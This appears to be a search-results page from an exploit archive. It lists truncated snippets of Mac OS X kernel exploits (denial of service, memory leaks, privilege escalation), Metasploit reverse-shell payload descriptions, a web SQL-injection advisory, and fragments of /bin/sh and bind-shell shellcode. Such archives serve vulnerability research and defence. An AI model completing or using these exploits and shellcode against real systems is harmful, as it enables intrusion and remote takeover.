958 matches found
Apple Mac OSX xnu 1228.x - vfssysctl Local Kernel Denial of Service (PoC)
Apple Mac OSX xnu 1228.x - vfssysctl Local Kernel Denial of Service PoC / xnu-vfssysctl-dos.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include include void hammer void arg char buf1024 255 + 1; int n, name6; memset buf, 0, sizeof buf; while 1 name0 =...
Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC)
/ xnu-profil-leak.c Copyright c 2008 by Apple MACOS X xnu include include include include include / profil defines / define PROFILLEAKNUM 65536 128 int main int argc, char argv char buf1024; int i, n; printf "Apple MACOS X xnu \n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"; printf "...
Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC)
/ xnu-vfssysctl-dos.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include include void hammer void arg char buf1024 255 + 1; int n, name6; memset buf, 0, sizeof buf; while 1 name0 = CTLVFS; name1 = 17; name2 = HFSSETPKGEXTENSIONS; name3 = int buf; name4 =...
Apple Mac OSX xnu 1228.x - hfs-fcntl Kernel Privilege Escalation
Apple Mac OSX xnu 1228.x - hfs-fcntl Kernel Privilege Escalation !/bin/bash xnu-hfs-fcntl-v2.sh Copyright c 2008 by Apple MACOS X 792.0 \n" \ "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n" if ! -f $EXPFILE ; then echo -n " compiling exploit..." gcc -Wall $EXPFILE.c -o $EXPFILE 2 /dev/nul...
Apple Mac OSX xnu 1228.3.13 - 'macfsstat' Local Kernel Memory Leak/Denial of Service
/ xnu-macfsstat-leak.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include define LEAKBUFBYTESa sizeof struct statfsa define LEAKMACBYTESa sizeof inta struct macgetfsstat char buf; char pad4; int bufsize; char pad4; char mac; char pad4; int macsize; char...
Apple Mac OSX xnu 1228.3.13 - macfsstat Local Kernel Memory LeakDenial of Service
Apple Mac OSX xnu 1228.3.13 - macfsstat Local Kernel Memory LeakDenial of Service / xnu-macfsstat-leak.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include define LEAKBUFBYTESa sizeof struct statfsa define LEAKMACBYTESa sizeof inta struct macgetfsstat ch...
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
!/bin/bash xnu-hfs-fcntl-v2.sh Copyright c 2008 by Apple MACOS X 792.0 \n" \ "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n" if ! -f $EXPFILE ; then echo -n " compiling exploit..." gcc -Wall $EXPFILE.c -o $EXPFILE 2 /dev/null if $? != 0 ; then echo " failed" exit $? else echo " done" fi f...
Apple Mac OSX xnu 1228.3.13 - 'zip-notify' Remote Kernel Overflow (PoC)
/ xnu-appletalk-zip.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include include include include include int main int argc, char argv struct sockaddrat daddr, saddr; char p, buf1024; int fd, zlen; printf "Apple MACOS X xnu \n" "http://www.digit-labs.org/...
Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
Inject a Mach-O bundle to capture a photo from the iSight staged. Connect, read length, read buffer, execute This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework ReverseTcp ------- Mac OS X x86 Reverse TCP stager. module...
OS X (vfork) Command Shell, Reverse TCP Inline
Connect back to attacker, vfork if necessary, and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 131 include Msf::Payload::Single include Msf::Payload::Osx...
blindblog 1.3.1 - SQL Injection Authentication Bypass Local File Inclusion
blindblog 1.3.1 - SQL Injection Authentication Bypass Local File Inclusion Salvatore "drosophila" Fresta + Application: BlindBlog + Version: 1.3.1 + Website: http://sourceforge.net/projects/cbblog/ + Bugs: A SQL Injection B Authentication Bypass C Local File Inclusion + Exploitation: Remote + Dat...
Apple Mac OSX xnu 1228.x - Local Kernel Memory Disclosure
Apple Mac OSX xnu 1228.x - Local Kernel Memory Disclosure / xnu-getldt.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include define TMPFILE "/tmp/xnu-getldt" define READSIZE 0x2000000 int main int argc, char argv int fd, n, numdesc; void ptr; printf "Appl...
Apple Mac OSX xnu 1228.x - Local Kernel Memory Disclosure
/ xnu-getldt.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include define TMPFILE "/tmp/xnu-getldt" define READSIZE 0x2000000 int main int argc, char argv int fd, n, numdesc; void ptr; printf "Apple MACOS X xnu \n" "http://www.digit-labs.org/ -- Digit-Lab...
Fedora Update for cairo-dock FEDORA-2008-8425
Check for the Version of cairo-dock OpenVAS Vulnerability Test Fedora Update for cairo-dock FEDORA-2008-8425 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under...
[SECURITY] Fedora 9 Update: cairo-dock-1.6.3.1-1.fc9.3
An light eye-candy fully themable animated dock for any Linux desktop. It has a family-likeness with OSX dock, but with more options...
OSX/x86 - execve(/bin/sh) Shellcode (24 bytes)
OSX/x86 - execve/bin/sh Shellcode 24 bytes. Shellcode exploit for OSX platform / Title : OSX/x86 intel - execve/bin/sh - 24 bytes Type : Shellcode Author : Simon Derouineau - simon.derouineau AT ingesup.com Platform : Mac OSX/Intel. Tested on 10.6.4 Build 10F569 Informations : This code has to be...
OSX/PPC - execve(/bin/sh) + Null-Free Shellcode
OSX/PPC - execve/bin/sh + Null-Free Shellcode. Shellcode exploit for OSXPPC platform ;;; $Id: ppc-execve.s,v 1.1 2003/03/01 01:10:48 ghandi Exp $ ;;; PPC MacOS X maybe others shellcode ;;; ;;; After assembly, change bytes 2 and 3 of the 'sc' instruction encoding ;;; from 0x00 to 0xff. ;;; ;;;...
OSX/PPC - Remote findsock by recv() Key Shellcode
OSX/PPC - Remote findsock by recv Key Shellcode. Shellcode exploit for OSXPPC platform ;;; ;;; PowerPC OSX remote findsock by recv key shellcode ;;; ;;; Dino Dai Zovi , 20040816 ;;; .globl shellcode .text .set KEY, 0x5858580a .set PTHREADEXIT, 0x90017021 ; OSX 10.3.X shellcode: Lfindsock: addis...
OSX/PPC - Bind TCP (8000/TCP) Shell + OSXPPCLongXOR Encoded Shellcode (300 bytes)
OSX/PPC - Bind TCP 8000/TCP Shell + OSXPPCLongXOR Encoded Shellcode 300 bytes. Shellcode exploit for OSXPPC platform "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa" "\x38\xa5\xf8\x4a\x3c\xc0\x28\x1a\x60\xc6\x7f\x0e\x38\x85\x07\xee"...